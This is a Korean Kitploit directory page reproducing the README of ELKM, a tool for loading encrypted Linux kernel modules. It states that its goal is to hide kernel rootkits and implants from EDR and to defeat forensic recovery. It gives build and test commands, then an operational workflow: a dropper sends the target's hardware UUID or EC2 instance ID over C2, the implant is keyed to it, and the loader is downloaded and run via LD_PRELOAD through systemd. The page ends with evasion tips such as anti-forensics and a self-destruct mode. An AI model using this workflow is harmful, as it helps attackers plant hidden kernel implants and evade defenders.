Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
도구/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Privilege EscalationEncryption/Decryption ToolsPersistence MechanismsIDS/IPS EvasionPost-ExploitationCommand and ControlRed TeamingPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

저장소 보기
1335년 전아직 검토되지 않음

ELKM: 암호화된 Linux x86-64 로더블 커널 모듈

ELKM은 암호화된 로더블 커널 모듈(LKM)을 안전하게 전송하고 로드할 수 있는 메커니즘을 제공합니다. 목표는 엔드포인트 탐지 및 대응(EDR) 소프트웨어의 관찰로부터 커널 기반 루트킷과 임플란트를 보호하고, 디스크 포렌식 도구에 의한 복구 효과를 무력화하는 것입니다.

RHEL/CentOS 7

ELKM은 RHEL/CentOS 7 x86-64용으로 특별히 작성되었습니다.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

빌드 환경 준비

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

로컬 자동 테스트

테스트 스크립트는 4가지 테스트를 수행합니다:

  • /sys/class/dmi/id/product_uuid를 통해 제공된 비밀번호
  • http://169.254.169.254/latest/meta-data/instance-id를 통해 제공된 비밀번호 (EC2 사용 시)
  • 환경 변수를 통해 제공된 비밀번호
  • stdin을 통해 제공된 비밀번호
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

빌드 및 테스트 페이로드 수동 생성

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

운영

ELKM을 특정 시스템에 연결

product_uuid 사용

대상 시스템에서:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

참고: 이 작업은 예를 들어 드로퍼(dropper)를 통해 자동화된 방식으로 수행해야 합니다. C2를 통해 staging 인프라에 product_uuid를 전송(TX)하세요.

스테이징 인프라에서:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

대상 시스템에서 스테이징 인프라로부터 로더를 다운로드하고 신뢰할 수 있는 실행 파일을 통해 실행하세요:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
EC2 인스턴스 ID 사용

대상 시스템에서:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

참고: 이 작업은 예를 들어 드로퍼(dropper)를 통해 자동화된 방식으로 수행해야 합니다. C2를 통해 staging 인프라에 인스턴스 ID를 전송(TX)하세요.

스테이징 인프라에서:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

대상 시스템에서 스테이징 인프라로부터 로더를 다운로드하고 신뢰할 수 있는 실행 파일을 통해 실행하세요:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

환경 변수 또는 대화형 셸에서 사용할 비밀번호 설정

스테이징 인프라에서:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

대상 시스템에서, 환경 변수를 통해:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

또는 stdin을 통해:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

팁

ELKM을 운영 환경에 배포하려고 할 때의 몇 가지 팁:

  • 'debug' 플래그로 컴파일하지 마세요
  • 함수 이름을 변경하세요
  • 더 많은 안티포렌식(antiforensics) 기술을 구현하세요
  • OpenSSL을 다른 암호화 라이브러리로 대체하는 것을 고려하세요
  • 비밀번호가 실패할 때 자체 파괴 모드를 구현하세요

우리는 핑거프린팅을 피하기 위해 이러한 기능을 구현하지 않기로 선택했습니다.

도구 다운로드